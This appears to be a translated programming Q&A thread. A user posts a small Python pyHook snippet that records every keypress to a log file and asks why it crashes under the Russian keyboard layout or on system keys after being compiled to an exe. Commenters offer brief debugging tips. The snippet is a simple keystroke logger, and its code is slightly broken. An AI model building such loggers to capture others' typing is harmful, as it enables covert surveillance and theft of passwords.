I wrote a program,

def OnKeyboardEvent(event): data = '\n\tKeyboard key :' + str(event.Key) t = t + data f = open('Logfile.txt', 'a') f.write(t) f.close() t = '' return True 

And here it is

 hook = pyHook.HookManager() hook.KeyDown = OnKeyboardEvent hook.HookKeyboard() 

Everything works fine, exactly until the Russian keyboard layout is turned on. When this happens, the program crashes, It also happens when you press the system keys ala Del (shift and alt work fine)

How to fix this?

PS How to at least make it so that the program does not fall, everything that is entered in Russian is not very interesting

  • Prog should crash with some text errors in the console - andreymal
  • @andreymal The whole joke is that while I launch the .py file through the console, everything is fine, but as soon as I compiled it in exe, the problems start, Winda gives only an unknown error, the process is stopped - Yuri
  • @andreymal And no, pardon TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name' - Yuri
  • @Yuri, it is better not to ask a new question, but to supplement the existing one (there is a question for this, the "edit" button). In this case, the question is better to delete, and leave the new (more complete). - insolor

0